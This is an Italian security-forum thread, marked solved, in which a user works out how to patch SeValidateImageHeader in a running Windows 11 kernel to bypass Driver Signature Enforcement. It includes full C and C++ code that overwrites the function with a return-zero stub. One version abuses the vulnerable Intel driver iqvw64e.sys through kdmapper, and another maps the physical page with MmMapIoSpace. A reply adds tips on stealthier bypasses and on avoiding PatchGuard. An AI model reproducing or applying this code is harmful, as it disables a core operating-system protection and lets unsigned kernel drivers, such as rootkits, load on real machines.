Risolto Exploit Modificare l'immagine di ntoskrnl.exe caricata in memoria (DSE bypass)

DanyDollaro

Utente Electrum
14 Luglio 2018
148
41
58
138
Ultima modifica:
Salve, sono alle prese con un progetto che consiste nel mappare con kdmappare un driver che andrà a modificare una porzione di memoria che risiede nella sezione PAGE di ntoskrnl.exe, per intenderci la sezione PAGE è assimilabile alla classica sezione .text.

Riesco perfettamente ad ottenere l'indirizzo base e le dimensioni della sezione PAGE, ma qualsiasi mio tentativo di scrittura dal driver su quella sezione risulterà in un BSOD con codice PAGE_FAULT_IN_NONPAGED_AREA.

Il driver che sto scrivendo per l'esattezza modifica la funzione SeValidateImageHeader, che appunto si trova nella sezione PAGE di ntoskrnl.exe, una versione comprensibile di ciò che ho scritto è questa:

C:
// Questo driver viene mappato con kdmapper, quindi i parametri "DriverObject" e "RegistryPath" avranno come valore NULL
NTSTATUS ManualMappedDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(DriverObject);
    UNREFERENCED_PARAMETER(RegistryPath);

    DebugMessage("[DD] Disable DSE driver loaded");

    // Questa funzione viene chiamata soltanto per ottenere l'indirizzo base di ntoskrnl.exe
    SYSTEM_MODULE_ENTRY module = { 0 };
    if (!NT_SUCCESS(GetSystemModuleInformationByName("ntoskrnl.exe", &module)))
    {
        DebugMessage("[DD] GetSystemModuleInformationByName failed");
        return STATUS_UNSUCCESSFUL;
    }

    // Questa funzione ritorna l'indirizzo base della sezione PAGE e l'ultimo parametro è un
    // parametro in OUT che specifica le dimensioni della sezione
    SIZE_T section_size = 0;
    PVOID section_base = GetPESection(module.ImageBase, "PAGE", &section_size);
    if (!section_size || !section_base)
    {
        DebugMessage("[DD] GetPESection failes");
        return STATUS_UNSUCCESSFUL;
    }

    // Questo è il pattern che sto cercando nella sezione (e viene trovato con successo)
    // SeValidateImageHeader entry point pattern
    UINT8 pattern[] =
    {
        0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48,
        0x89, 0x70, 0x10, 0x57, 0x48, 0x81, 0xEC, 0xA0,
        0x00, 0x00, 0x00, 0x33, 0xF6, 0x48, 0x8B, 0xDA,
        0x48, 0x39, 0x35, 0xE9, 0x87, 0x5A, 0x00, 0x48,
        0x8B, 0xF9, 0x48, 0x89, 0x70, 0xF0, 0x44, 0x8B,
        0xDE, 0x89, 0x70, 0xE8, 0x0F, 0x84, 0xAE, 0xB4,
        0x20, 0x00, 0x8B, 0x94, 0x24, 0xF8, 0x00, 0x00,
        0x00, 0xF6, 0xC2, 0x01, 0x0F, 0x85, 0xD2, 0x00,
    };

    // Ottengo il puntatore all'entry point della funzione che voglio patchare
    PVOID entry_point = FindPatternInRange(section_base, section_size, pattern, sizeof(pattern));

    UINT8 patch[] =
    {
        0x48, 0x33, 0xC0, // xor rax, rax
        0xC3              // ret
    };

    // In questo tentativo di scrittura ottengo il BSOD: PAGE_FAULT_IN_NONPAGED_AREA
    RtlCopyMemory(entry_point, patch, sizeof(patch));

    return STATUS_SUCCESS;
}

Aggiungo qualche dettaglio:
  1. Ho implementato personalmente le funzioni che vedete sopra, e mi sono assicurato più volte che i dati ottenuti dalle funzioni fossero corretti.
  2. L'OS che sto utilizzando è windows 11 21h2 22000.856.
  3. So che windows ha dei sistemi di protezione per le patch del kernel come il PatchGuard o l'HyperGuard, ma non mi pare siano loro a far scattare il PAGE_FAULT_IN_NONPAGES_AREA (o mi sbaglio?).
Quindi ritornando al punto focale della mia domanda, come posso modificare il contenuto di ntoskrnl.exe?
 
Ultima modifica:
Sembra proprio un problema relativo a PatchGuard, per riuscirci andrebbe disabilitato Secure Boot e PatchGuard. Se continua a non andare prima di copiare la memoria verifica da WinDbg se il puntatore è corretto proprio prima del crash (usa u e indirizzo in entry_point per vedere se il disassembly è quello che ti aspetti), se lo è prova con ZwProtectVirtualMemory per renderlo RWX temporaneamente, ma potrebbero esserci problemi in caso di race (un processo può causare chiamate a quella funzione nel momento in cui la modifica è incompleta).

Ho risposto nel merito ma comunque modificare il codice del kernel non è mai una buona idea su Windows, se l'obbiettivo è disabilitare la code integrity ci sono altri modi, alcuni rumorosi ma stabili come abilitare test sign mode, altri più stealth modificando una sezione dati che altera quel check invece che patchare codice direttamente.

PS: usare quel pattern così non è il massimo, non so il caso specifico ma potrebbe cambiare ad ogni minor build di Windows. Arrivarci con un marker più piccolo e/o disassemblando puoi gestire versioni differenti (es. trovi quelle due DWORD particolari che usa al suo interno (0xC0000428 codice errore di callback mancanti e 0x63734943 il tag del pool da liberare e poi scorrere all'indietro all'inizio della funzione).
 
Ultima modifica:
Grazie Junk per la risposta :D, alla fine sono riuscito nell'intento ma non come me lo sarei aspettato, ho provato ad:

1) Usare ZwProtectVirtualMemory ma continuava a ritornarmi 0xC00000F0 tradotto in STATUS_INVALID_PARAMETER_2, il secondo parametro sarebbe un doppio puntatore sul buffer di cui impostare gli attributi, stranamente non riuscii a farlo funzionare perciò passai al metodo successivo.

2) Usai MmMapIoSpace e MmMapIoSpaceEx ma il driver si bloccava ogni volta nel tentativo di leggere/srivere la memoria appena mappata, allora decisi di caricarlo in modo legittimo attivando la modalità test ma ottenni gli stessi risultati.

In fine mi ricordai che kdmapper usa un interfaccia per comunicare con iqvw64e.sys (il driver vulnerabile) la quale contiene un API chiamata WriteToReadOnlyMemory ed altre API utilissime con le quali reimplementai quello che sostanzialmente facevo con il driver, lascio qui il main che scrissi (in 5 minuti) per chi sia interessato.

C++:
int wmain(const int argc, wchar_t** argv)
{
    iqvw64e_device_handle = intel_driver::Load();

    if (iqvw64e_device_handle == INVALID_HANDLE_VALUE)
        return -1;

    uint64_t ntoskrnl_base = utils::GetKernelModuleAddress("ntoskrnl.exe");
    if (!ntoskrnl_base)
    {
        puts("[-] Unable to obtain ntoskrnl base");
        intel_driver::Unload(iqvw64e_device_handle);
        return 1;
    }
    printf("[+] Ntoskrnl base: %p\n", ntoskrnl_base);

    // Offset hard-coded sull'entry point di SeValidateImageHeader
    uint64_t patch_address = ntoskrnl_base + 0x673038;
    printf("Patch address: %p\n", patch_address);

    // SeValidateImageHeader viene chiamata per assicurarsi che il file sia provvisto di una firma, ritorna:
    // STATUS_INVALID_IMAGE_HASH (0xC0000428) nel caso il file non sia provvisto di una firma valida
    // STATUS_SUCCESS            (0x00000000) nel caso il file sia provvisto di una firma valida
    // Siccome il valore di ritorno viene salvato in RAX basterà impostarlo 0 zero per far risultare ogni modulo valido
    UINT8 patch[] =
    {
        0x48, 0x33, 0xC0, // xor rax, rax
        0xC3              // ret
    };

    intel_driver::WriteToReadOnlyMemory(iqvw64e_device_handle, patch_address, patch, sizeof(patch))
        ? puts("[+] WriteToReadOnlyMemory succeeded\n")
        : puts("[-] WriteToReadOnlyMemory failed\n");

    intel_driver::Unload(iqvw64e_device_handle);
    return 0;
}

Feci qualche test ed ecco il risultato:
cmd.png

Il primo tentativo di avvio del driver fu rifiutato come è giusto che sia, dopo di che avviai la versione modificata di kdmapper che patchò SeValidateImageHeader permettendomi di caricare il driver senza problemi, ovviamente ciò non piace al PatchGuard siccome una patch del kernel indurrà ad un delayed BSOD con codice CRITICAL_STRUCTURE_CORRUPTION.

In fine riguardo a ciò che hai detto:
Ho risposto nel merito ma comunque modificare il codice del kernel non è mai una buona idea su Windows, se l'obbiettivo è disabilitare la code integrity ci sono altri modi, alcuni rumorosi ma stabili come abilitare test sign mode, altri più stealth modificando una sezione dati che altera quel check invece che patchare codice direttamente.

PS: usare quel pattern così non è il massimo, non so il caso specifico ma potrebbe cambiare ad ogni minor build di Windows. Arrivarci con un marker più piccolo e/o disassemblando puoi gestire versioni differenti (es. trovi quelle due DWORD particolari che usa al suo interno (0xC0000428 codice errore di callback mancanti e 0x63734943 il tag del pool da liberare e poi scorrere all'indietro all'inizio della funzione).
Gìà lo so, questo progetto per quanto marcio sia è solo un PoC, in più: nelle versioni più recenti del PatchGuard ci sono dei controlli di integrità su alcuni puntatori a funzione tra cui quelli di ci.dll, una dll che espone delle funzioni di controllo dell'integrità del codice, infatti SeValidateImageHeader che si trova in ntoskrnl.exe chiama al suo interno CiValidateImageData che si trova per l'appunto in ci.dll, sicuramente queste cose già le saprai ma le scrivo per chi sia interessato alla discussione.

PS: edito il titolo per incentrare meglio il topic ed il messaggio principale siccome mi sono accorto di aver scritto male il nome di una variabile...
Messaggio unito automaticamente:

Aggiungo:

Ho investigato sul come facesse kdmapper a sovrascrivere la memoria ed ho trovato il problema nel mio driver:

Dopo aver ottenuto l'indirizzo da patchare che nel mio caso è un puntatore a SeValidateImageHeader bisognava tradurre quell'indirizzo con MmGetPhysicalAddress per poi passarlo a MmMapIoSpace, quindi continuando il codice del driver bastava fare ciò:
C:
    //...

    // Ottengo il puntatore all'entry point della funzione che voglio patchare
    PVOID entry_point = FindPatternInRange(section_base, section_size, pattern, sizeof(pattern));

    UINT8 patch[] =
    {
        0x48, 0x33, 0xC0, // xor rax, rax
        0xC3              // ret
    };

    PHYSICAL_ADDRESS physical_address = MmGetPhysicalAddress(entry_point);

    PVOID mapped_io = MmMapIoSpace(physical_address, sizeof(patch),MmNonCached);

    // Ora mapped_io è un punatore ad una pagina virtuale che è associata alla
    // pagina fisica sulla quale si trova la funzione da patchare
    memmove(mapped_io, patch, sizeof(patch));

    MmUnmapIoSpace(mapped_io, sizeof(patch));

    return STATUS_SUCCESS;
}

@JunkCoder Mi dissi di controllare con WinDbg che l'indirizzo fosse quello corretto, purtroppo non ti dissi che non sto usando un debugger, il driver lo sto progettando e testando sul mio computer princiaple (si lo so, è un pò imbarazzante).
 

Allegati

  • cmd.png
    cmd.png
    25.5 KB · Visualizzazioni: 6